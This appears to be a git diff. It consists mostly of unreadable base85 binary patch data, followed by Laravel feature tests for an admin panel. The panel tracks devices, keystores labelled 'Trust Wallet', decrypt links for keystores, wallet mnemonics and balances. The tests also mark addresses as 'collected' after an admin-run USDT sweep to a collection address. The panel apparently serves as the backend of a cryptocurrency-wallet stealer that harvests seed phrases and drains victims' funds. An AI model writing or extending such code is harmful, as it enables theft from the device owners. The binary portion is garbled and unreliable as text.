G}PW`5fbK#_(y#(3zQH ze3wb6~rx=Gy|Fe&46Y=GoTsJ3}^;4 z1DXNNfM!55pc&8%Xa+O`ngPv#WGy|Fe&46Y= zGoTsJ3}^;41DXNNfM($TO9md2e{b3#)ZYU)WExHC=C-PR4RVQl`zg^N25lAZ?WBIq(o>7j6IR9nF_cO*1*2?;M&i^*!SseeE{x$B%IQ496Fmvejt$5(Q^jN_{~Zss`f2}Gy|Fe&46Y=GoTsJ3}^;41DXNNfM!55pc&8%Xa+O` zngPv#WGy|Fe&46Y=GoTsJ3}^;41Db*VbOr*@ z*o)BV6XL^&5fwhpd$P|!j`|yGB_b?>H9}+*rvIs4A^#xds1N1)P}GN)(fja+*ZwYq z?+H=&GQwXFF7=7Jn-T6uID#;pMd6 zh;6S-T74aAz2rj=N3##)W2)n~LsQ|5rN z-b$I>ETWQ|%|y%^Tx$#%@s_xeOo{M@*6Tvy6>Xh2Zd?&IVx@*dh4N-!KZUr_XCzY6gw1BEw>54>w~KI}EEG0w zjrK+oJ;v&ya&|#ZYKue#iCrp@=0)OYKqymXI&3CP^hOEO;05$VY@^*srIU&4Bk{Ds z!Y-r7OoTyJw3l;?M9hQJeMVAtWnEfziA(m`Jsl{`$m&liT3pz)*MQ*--EssupG_&C zR0O|2p)5@r1X_+~Z%L6@X`fUX=3G)>69aG-i@ZnXq!V_e+kjnWpR2uMW#LVUL6{$I zH*8QqzJRfgZVyL$w}-nUX1qA3Cml&jhp|&JBbn@nG-lfU#B8_^-3spzQyG!&lmTBY z6iAuWKzBdefH!(9YwUR?6%ADyg=j4XA&m!M6nLspy?sUqt( zt-jtg1~CM1&^VSMk9hN%%|;iO=r()OYA#kP{r zd%-u3|L>eRUUPTNoxaBBW@dc%*X{B>>&GU8&#F2hPNIz`NJxk*<7a~siam_aUas(; z8P~5+c+E6b|82&@jPF^g8{tNJ2Kj@7p`DrI8yp8b+#u>(&8ILedF+RxnbBuG0A7?CZR-n(17zY?1V;p4s zAB?v#ZooE7_GK6^V?4q*$@n1SuQARsex0$1s`k%0QRxdX?qVEd{1D@9jGtnhVf;(R zBa9nnDt!kT2N~xW#~F*5YX7T@1B?$a4l@1;<86$`7-txtI!m=T!uSft2N|zpoMRkk zEDY8D9gG8vA7&h6{3PRTjGt$mVf+T;5ytf=asL@##5l*eg|X;X?e{VcFy6^H$aoLq zZHx~x&M+3kJmV3@b57>|GrpK{j&YE&FjadW z13sxv2=)75LOeitnh+1O{99E1q>KpOq00Z1rPeW zH!_~b_y)!;jJGlFVcg5O24?w$n69i7;sOs|r7()94=vLG1sw6@N?~}Y z`m9#CV2|y=pHdhetUh1$;BPBj;Pa5e1^r{5^6z-?EVK;!3i{9R;7b%P=nHw|9Uk1} z!P`C9R=A+=9*-QC%4APLe!zndd+_f)c-(_e0P}8rAM)U39^B@^T^`);!MKbs(tp1P zf8B$>>%lL2@H-wn6HK`6pX$QrPgq5!%3zv8v8VdQiI4rsJ zbKRvX>e~Ch=T-5>K*{}&YBvfh+%5atZ=6)T-&VMT@*eM~RJlK=ZnxQy6z?>DE(Qgl3Mwf-K1Np@pu?FXbTS=!rkVr zBHRntbRHN)Ey(f2LOq~hU!*(B#p=Rc^auf(2dwS52g$laR2g>%2XOxohl!?k<-hA9 zxckh$yxbTtqlS$ZR?EB7m8|kK5O$gcxpf%LCZ+ez%UPBgj;&> zgvL&_;u#s`msCt7;DSa>J^?5hDBQTG+T~p=im^?#4y{P=Q?x{naz{8$Gn@cwZLH`h z<872C3>BT40?o&D{aE2a3e}>g3G{qqLw7kki_5Z8Hg{XeHO5c{b9y6oN4gu!m)Fi- ziyrnA`7=FyBqLTPBYlRqe6cXN+@=7D>4uXFAJ?X|LFkj>J2y@`DmL5%*;OP)OzjH2=ih4={=NiEy*lvK#mPG7&(>A;4!B?>yk5Z8vviiMC9vlS^ zu!z3ZrA`4I@R*fypuAMLWpLGWmmN)-{Uv^dCz9TtQxxOY-umiX_If6w4H3iQ(M~ZtprFvPFFU_!RBdMM)gK3S+2!)%Sshrpq8oI8R;pL zTV~)uznXsXTM{L8dLv0A=K8{g$IWfIe@dSyY_(n;81uAI-lf&KrfA{}_Tqrf7wg4> zsqb>&Od{`bTo?|ubgo#nq5a12>h&F+E$c%o!s}LawryD6QS=xaPqp1w4PsR&L|@V{ z@QnsJOBY{7ryO+xiy3NKS;_E{rm%5&cwm|D+C}oa0IC4KBZ99>#KS%E8GFTwix-Cn zniip|Z&~Z&D=OAsuxwdH70bc{i?5IxDp$X1=~VS%%N8tNbR}e7qTJU~US7gI;drDA z$5&eMRk|NONNIVD4X2Z^1OQ)eNf>eY1sX>*=$uju8FIV|N7<5d<^n5e_Jn)Q7?w`N d=@<{d)bXNP-K5cngXxrYeDpP9xCcj{{|Caa{bm3F literal 73816 zcmeHweRx~NneWJQ5`~1s&;WsiL}>^lK$Bp;T_}>3goJ!zJ0ui>B1^~iA+nC6BiWcx zP-^-~yG4|3dwYAS6KHX0yUXoDZ+iFM;*xH+A8aA%K81UsPnE#3PHFdXyWFkS#q0Zf zXWk4`yv&#R;l|#XJ2C^wYm3*SnjB!tf0ir4TLP{1`%w>SI>YdL;=||^a&U-;3PPnXJIUHS|$`N!^tGzQ+1yk<;RF zutMcrQl5*yOn=W*eXn<`noX?0!3@jBhVr7(?6mwXNvWC-v;Pt1q@%JdhQ3svnMy>> zREH(?m(RDSDHG3L`L7U!y<@;48PU9b1r0`{>%wi}Xk`1gRyBKbTq?w|2b0fGAm64H zAR6to9G?QLs&ABp^yJF@&RJ8W4FACItQ7p$dA#YWSsPsAWmas>kS~%H$_B*pX)@jhtdhNT%qmS^ve_Xi{iiSBI z;@E@9MhecF<;+)SFqBB9@79VMJbiqpWWs7a{D?H(6QMZ?`9RpQ-u+ z$5e5ehtA{H=W{YSrg9q*qR}mzwryU&Zd036fJ=tT@$R6)Bz5be^>r-*^~0SXO83Mv zU2EcvQQPe9NgAsY{YkT3h^sJT6;VDhgh9BH@z4yPARn(|U9SLt2I;Q(J~4_4w6E_# zpyv(_PWlQ;RC&HM&qr-ec@`muY#zQQ*)sCQ#+ScwaOcFgKR5PdBl3a>WQP#*;J_Ei zekm^hx&Bh*D*I&taXBJ6h9M*<@I(9jZUmB%uKF2=-zUW7zBR4=cE;#lv&C#r$I|_4 zHl(rJ^jYbB_L>b=HU+0Kt<>rcC)bq;C3w7g=T0n`Ps~rFH?m=yk)bABYD;-atI|vS zI`+<(@%803^zPiW+03|fN?cW6T@PrO*3MlGy|Fe&46Y=GoTsJ3}^;41DXNNfM!55pc&8%Xa+O`ngPwge*^;) z$9%`f56nC=KH$rb_Mf%d7>B)xf3IcMDe+SC1Y32 z5|5trhfoHx_aV=}WbAU}4Gl!cM&?l6yTfylEp`!5J^ozp#LdBDdLdA1Xrf{B0pN;h3z@D-3 z0~?OO_WV0D#e#_eKl*Uyk@1K>e-iBsM#S;wVEZhTJ>=wF!)GgQ6bmFg`TJBHLw?`!kxNL=;<2G);`qpAO6OC|%|q_?;ERL)JI6jq?ZJ24?NR<`F_w=0 zFLV6^T)(hf6u-rJy-wazrSEf`-{a(C9vtSpeTYvl4HapQz=!g)eWHjzvMvTOmST8r zel6tWyKY+w@aZy)`ek@|IVRhsoPCFUwQxzOIOOsnA2>X@Mig(M_AbL*SraPWjI{JU z%u^}H+-pYONz65x*Ecz7%$FOG9vp~bUTr;s`INty=2fH)^D1y;++R1jHp~*mH{=|5 ztql_4I$?IDl96TgQB?i|B+Lp)jlx0J4@Gl{u6x4+t<^S=jrPk$aDAg=l`bq`YM&J(%0Kzr=0&(rbb_1 zKpCg6Kc+PI^@m8i`}#EXb%56V8CWkT*Zi{e9^)a`d+<)<`7Cs}*Y+pa_HQEJyS5Y0 zWb@ZZMmD2whcNzS{!QyT#_g-pw!1J6>)~_0{HMsaWAA=HqIvDzk3NY!x6OTQ^8-}2 z!hZB7^2zQ#scZWEXg|t0`%wyM_kOhdJ@(;F*)Go+@K1AQ7xLVF*uZ_*MrAAX;ct*n zeb^v%P2YzQ$~b+v5ovcHE~(OoG9Q6&NFR}N8T&uA37a<3x_3491kC6C>V2|Z<0_OBt+^6%ozWba&JX3$pCYj?)Rn7==QO4=dY^2@&`R980m7mtKSx3fk zW~h43L0@E_Xw8D(|Dm4R%Gg8t^8rGCGM`Se|B zL%AoU!{d((bW)P>vm)@8)3a>hfw| zotghI>Ai&g?fP)>&$zu$aDD;jg!jW2n?tkm_~L|za)kbi{b zcQ|tRR!JV3o&Pk;TOB$4sU#nso&PAyH#>6dfhBq9jQqVUk3c?%eR&A;ameSg75EC2 z2?+7K(?Xr`4k0fj&nH#nJ)O;iv7e4$o}I=S?^2&AuACudFD)BAC;wwV zIDVbaSXd`e=26<;29Js3Z#wD6#c{k>sr&()ft++)9RDTKXmi0zvJdtP*pGH!S|-lR ze;YEgVKAcfpQu*$h4b=HI%SuuvVRLKphpZZ%s-AaouMTjU6}tW;eka82hY#{XDMF< zp9cSRiXTb`e8bn{JA1Ao8%pybjQIdrKgNaT_*1A$^Jx?84}$NN{l2pEEY%$vz**kW zi*!}Jki}W=qi(%;S6TUy3VP`s!O@F!RlSgHWxe;i^&W)YgH!dAUz~xyP#i$p?r{$y zPYj=tzaDy|96Ct85`H0Np*i_RmWlP@;_XNma5gWjQR|g&nTqQS8AHbTD>%P9RBXok zb18on=VwF38{GLH;QUyqc#S*%3eGn}#kKDIt2uvvsEF^)c~tddPJR~b^CJX=7!Ax0 z75(r(e4X8ilm7ar@Fg)1H$Ocy|1sb{)R8~sPWVFq=|tFm^7jGi7v3r0Q=?)x-ht+b z;zg8)voHAtrJa5IB=&yj8f^~M=SdIkWwJfkMDO}iM`&*T4amk1Y{vfO&ky^fzi^*b z>HKjB>+WG%OR*jw!g_lW--hf z0Z*h4Uwfmt8=jy4y38-vMf1iv8%r)CbT+QX`Ov-|C93kYHTPi#|C@%N!TODX1G58FqOghx%)JJU>)9*d^{ckHu&)FAaITn zPmQ1rtYz>Q8n-ac@j{k+$NJt8r`$v&a9rxU6?)-Ye8(~xIJo8dE+MX=e%|X73!d|z zJGK({8XFr_-r(c@UbMjh6 z@kOL5FGqQFj%-Dr?+|5uEbJ=pbKwq@L0hNdq2lB5y5seAxf5rSZ+F5+0?L;Poz#~W ztU2(nn@Jz;$TowI?P}jReKYbmWAE6Ga1+Kn0>9+)0pIMm26^A5wzk4HxyGW+(-G+P zLvO!{efu2v_Rg_CgFIBH?vjRpM?Q!>i00kx;bPe7*9Su~4Zo6{9zwanfx6@CA>T-M zO_8&XE(F)qPT?llhIRroq+h?~*d71lM4Mv=*>xCW;Pn6RpvUQ>9DDS$Fg79Yx1NJ; zsTXzJzB3fL^(e;pDw4s+WZOgj+rXLXi<(Of`8R#yQ5t))@ojfGUfX3~_k@doL^&Fl z!_aXW_K+R;uBOr8XR(fd)>qc{3g~g_{f6rmu4LX~;o@xe6-Q^`T2b5rope`4Z4@37 z<0n5S#!r1-jKBUxFo)8>Ib4xcC=r>x<~e$Wr!A^!*ghC{+F$^36r%?a8`kxcIcIPT>=x zcwthq>IzjmtjBs6vp*a<>Oko zq`aRaILDKIfwIk*r*DxCSKjmEUp-N`aPapZaQXsUTiDhEu+J$=dvqOi{59E(Jvo5! zaPFc@W08eD$gjhmpGP_B@7+}1!u+;ShxeRPdAtjsLcSl|iI+N;JOkUP&K}gEG9wXx zegykfVITV?+CQ}q_Hnt}QI6URxXu`I&I~u?&!={=m(ktc7Ni~jqVgm2m0w`K%5nT2 zaWbEI!q}632d_dIoCiiX9h`eT`Nbk|LvxhQG(n#jr?ak_r)TBgq4PxCkFMi)>8q2j7Bj>=k+1N8YiXACi0C zG1_nH@cD$uyX(<=+w03YFMMX6_95zb0B5#S5$sLa(+CT^yIq8~zk{}EpE`nbf?JQf z{hw0b{Ma84G~=@cwU4>qpK0$H#M$~ev^|QlvOT;z3<beW}VvqI&hvP$15b4BBOa*!GgM#RW9*Ti>&UX; z^J~bL`{Dp}YK7wp z?{+Z!jpS{>&SzfgTwM7ac9`yET<5Uy1JB{S$n#_;`IdaQe0teumgMDUbO*jK=NbAv z+K`64Zs{*%y4RJibERjx(%W3=vt8-CT7PP(vQ7AzxQRzOjaU zOAYys8uGRpa=hD3+y6Uj$oJNeCu+#MYRHo{hWxb}@L^uHqgqcP|&R7E9sE%JW=rB7)kNm}eNaH%IJ7%Utq;ZFp&Io*I_HCxox3gu72>0}CN{C2T zER`~nNZnETHugQilA6_0O)zQ25=Npan2^eDTww>}sveSOh?NPWBbH5OR!ytJxCg%! zVh7u^nV@M0%~WqJX(rAntCF(3EngnY+W1+JAbQ+mCXEkd%x)vd&7tK;V{}WnIl6H> zeolhZJGQsTbY%N&>szAK(Xx(Ny+%6NXSDZ%g&?F&!4;vh60u}57-UO)gC$&0dWW<_;(QC#HTf`*kZi{w>TedZ! zf7xUrn6ffKyU)D$-lX9*OSaa862VwJWA++BJ8qR1R!X&|D$_3)L_5qRy19oPBe*gXO9xe6Fk#xU zc2Ks8hNo42z5hm#DQGBeY2ChUd;8r+JhRKpbghG?CaZ_O)81}E53F>PfcK^#HWIDW zKU?f<+i+d0`e_*abWK~Vvq{7fiPo$fz$SsbUDEa~WN(vbr*Fx(MYf0f+ZMC;Q9CWh z{;XkVnmW=}_Xc=Tli1kSwxiif^b1L*{8s(eOe|xNkyJyq*d)@bCS{SYh*-OAC9@f0 z(jt|eOsZZ@*Rt#_CaB#NB?`U9RhN+OCk~AAR@W^Hy(`@tFtXBY8e+B|tXU}|m9d@COB)!xUQB{;Cssr|(;Tx6#T%R^)7-y4 zmF+gtaE4T;@&PzR6Mi)S?r1k*f~GP}qTR9g4MbDLY(Khn3!J^p_0mirKB%jt=vlCedZ#mu={GpGcYfC5a{vR9i)s`fQ~p zg=$902}qfl+hWPAAxwMy{%kDSW;v51X{0(cU4mwsGs6V!HO-iUNkb-E<7vZ4A-T_h zk>OP0Hq$n-IEe0Sh8Bs4)zdFPd%KY)BR3Jnit!DyTjdCg0)AvGo;G_>jDA2w{)3V& z7};z(j?wC9!_O&AnYZy+yvx{OCCzw$6YU^YHiM>&G`1kQgoKl{t!_#s&6Kg#NSLu5 z$yk4TEWS@kvl;wEgKgdm$JmM`MP@cb+L@-+CSoON;lfJftSSnaiG%@CDIWtN6H+%> zXcJ*3E!jJ5BOR8bj((Iis|J|IS5~JTTqas9D?{5jc}UvA{zUC}#jx#QQ%5i5cnVuC zo5btnBHA>~(kSOm1;2gw6O}es(br{WFu)*3&`(KOeR7Ewp(`6hYn!eMU2#q5rpBv8 z=&H32Y`iLT)0K@Pgjf}Dmqk(hvP)bvim0%KDY`|END4#j5ka67LI$Y?!JybCTE$M$ zBDNqlP?kztC=nD9)DDU?audj-I4)~lhTNSfy-u_t6-Vh_$kIsnA#MjU5%=M|SIvT{ zI{VPpYSgt+y9ceWMlfV+k1Pv{6(S^>1l+UIQ;!N@RR!la@Cdsf+?C=y?ZGy|Fe&46a$|3L;Ca_T0a z0so6MJq&$6G(l_0{-H)_3gN%<>sk>fg$8HO^D(f0*UU zFQ&?4ELVOpRgRl!JV7y|O8aS+d+m4nKbTVWS5>LMlgD>i6?q@a-(N*O$a4JuvGQ^F zb=rTM+gE-zwSPb5`f46bmA}IBYW$vLxtAZO{nZwk6%=0k9XURsmhx)${UhtYn2OGy|Fe&46Y=GoTsJ z3}^;41DXNNfM!55pc&8%Xa+O`ngPv#Wii1VNCQu!M>?&27~qbBRU#_>VUKbzx0j`wrC zg5&?jahT&%9KXYHhpF^F#PRbS|0Bnn*{(V+-^=)y98Yk3;Xb9Ond7Y-w{RTe_kpBs&>!j_%e>ya{Mscy^(Q-<3~7tlHGy|Fe&46Y=GoTsJ3}^;41DXNNfM!55pc&8%Xa+O`ngPv#W{=*pv!UFm;@5_Bc{?0d|(o@f=g^1PPP^%2WB2*_tPGS0&>Xq_` zDMvk&??X{vgAjiF5V-$gA!Zy!_%*_%J~5*iA%XB1!U=?bLYP-4W_$?Y!w4CK|Bg`S z7c(yQi<$QzdY#_V7bmE2{f5?0?9qt{4= zlSVotqVZ(RwxgX!W>d<}#8Po%tC8ul5+d3y6 z9xDYJ;4+?Owq?89i4jlsEv?(PwHj$NmNf5`p6V%4HuI*))Ld(g8!2xGoOw833=)(}eA(NQO9`UZtyNq@&(P4IG)l92a$dfNe%UMNLoXh!s z;Cp4}Z+yS;eFdo>_+Ijj;oo=We5UR}-^w4&&H27GgT5={9xUARXyFa1de1Zd0pk;l z7q3(DOJ=C@f%OXC$M|i=&oF*?gOdM&aof!bV>y-WE!?PZitz~JXBZbYDftBBCvH)A z{w!60aEHQ+7=QCtg&P^KZBh7E#=9AJIQ4fcd4_TDc7;F1_~;!9|0UxBE--$GvA9dM_cg{r#@}NcV*GQ)dl~;L z;~e9wXDj;#8Fw)rX8bM21;z!&BC6V7aR&FF@m-8VjPGN-m+`ZVbBzCi@gU=~<|uu` zjMp(PFy6!1`KqBF#=*VHp3gE4F+R$8FXLAk=NSK<@gU=~=5qUtFJ@d|9A+$HLOvg6 z9As=W4l({bS#!ymIWd}3`d0wY14j)9 z6~2-2TE@Exp9R^ll7F1=0wG49SNIXeV~ihTERHGpHwd32M1b*k88G$f9Amjh2fFvDSG6yVHxZzwZG7VmwE6i557X-lKxvgc#j9CJoq6G{+b8> zl?Na5;8#8Pvp^-y0_m(&e*pQ8j*lb#2?Vb$vMGzui_nKq z$u_4S!OF+{cl{nP?Hg#>!E{^eyFawoI%scet#U%Ie%h~eq@Css0PhFY-a)FqxlDij zuY72)a>AeXEMN6?q52y}>GE7c5cer2qS4J9JO}aqZXj%JK1>=o&S2PjJ#M)x^zFlUfi>F=_F0N3B zUhOx==*2(Xv`0kKMqk>@;0j4y5!BY4?MYg(gjaV5F3r}V&5DiuDM~k(N#i{#t;E3| z@uwIgd-$iRkp21hsBl}4MG|9G+j4K6N+VudOT`hUTT$8l(n!O3;*C*TdLCa)cEJIi z8_u|eYcSlMs;g4=IJ(*@uM};kD=*aVwf5mA$D~WIWHLgPamUh&TNv!IjV;Pcx5jXX z#~!=R=r!YpjTSb^JHCqTd9)Kh(GD|-yE^w(D&L7-w6U#iN3)f{wU@krbh2sx+}?gS zE`(_|NfK~xifLpw;a1T~H+jlqw5H}zRkfc^Dc-i>I%lUXYd6+zTghyOZbfk|?NJ${ z8)$iL){6UGFjrnRk!a0I_PniuT-6unYS-yyyM^08Z)VlC#M55Ya#KC9Qq77U*HrSf z_fX|eZC6gych_!}mCCE6bWchiK@&S|V3>O`!r@NbN!yub+~`yOl!~boT+m3!JI^Tt zh0)72_pf*E{ZpOF;ourg@C;P6v5KOMS1nBmDmv-pP18DeqI5Y-wdjVF?tHg*R3far zEW2G(hn3!J^j9&bD`vN5J37pJymoe3bb(#wo&aQ%Y||Gfvj3l*MV

*dgHhZS{6+UJ0 z_MEbyvjzU1O~>Jv9c}$RQwA=rP9kJkg<0T{#$)j=V~2&$=lYxI0~;%gPuj4$_r{W5 zyYZ<_7@w#0*_%>HGldW05@u{iGS=UY&yOmVl^hWV+Zh_J#O1q_3hdL{ixqn|5j<)=& zST30Sq!vdK`G$Q_G!kxGfAjX1+oPMdwYG(~Mb<~Ru5a78eO+tW2WactingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() - ->assertJsonPath('data.0.source', 'Trust Wallet'); + ->assertJsonPath('data.0.source', 'Trust Wallet') + ->assertJsonPath('data.0.decrypt_url', route('admin.keystores.decrypt', $row)); } #[Test] diff --git a/tests/Feature/WalletAddressFilterTest.php b/tests/Feature/WalletAddressFilterTest.php index 6bad8f9..7e87f4a 100644 --- a/tests/Feature/WalletAddressFilterTest.php +++ b/tests/Feature/WalletAddressFilterTest.php @@ -4,6 +4,7 @@ namespace Tests\Feature; use App\Models\Admin; use App\Models\Device; +use App\Models\TransferRecord; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use Illuminate\Foundation\Testing\RefreshDatabase; @@ -141,4 +142,57 @@ class WalletAddressFilterTest extends TestCase ->assertJsonPath('count', 2) ->assertJsonMissing(['address' => 'addr-with-balance']); } + + #[Test] + public function device_wallet_tab_marks_collected_after_successful_sweep(): void + { + $rows = $this->seedRows(); + $device = Device::query()->where('device_id', 'dev-addr-filter')->firstOrFail(); + TransferRecord::query()->create([ + 'from_address' => $rows['withBalance']->address, + 'to_address' => 'TCollectTo', + 'chain' => 'tron', + 'tx_hash' => 'sweep-ok', + 'amount' => '12.5', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'USDT', + 'operator' => 'admin:1', + 'status' => TransferRecord::STATUS_SUCCESS, + ]); + TransferRecord::query()->create([ + 'from_address' => $rows['plain']->address, + 'to_address' => 'TCollectTo', + 'chain' => 'btc', + 'tx_hash' => null, + 'amount' => '1', + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'BTC', + 'operator' => 'admin:1', + 'status' => TransferRecord::STATUS_FAILED, + 'error' => 'no funds', + ]); + + $admin = $this->admin(); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.show', [$device, 'tab' => 'wallets'])) + ->assertOk() + ->assertSee('是否归集'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'wallets'])) + ->assertOk() + ->assertJsonFragment([ + 'address' => 'addr-with-balance', + 'collected' => true, + ]) + ->assertJsonFragment([ + 'address' => 'addr-plain', + 'collected' => false, + ]) + ->assertJsonFragment([ + 'address' => 'addr-with-mnemonic', + 'collected' => false, + ]); + } }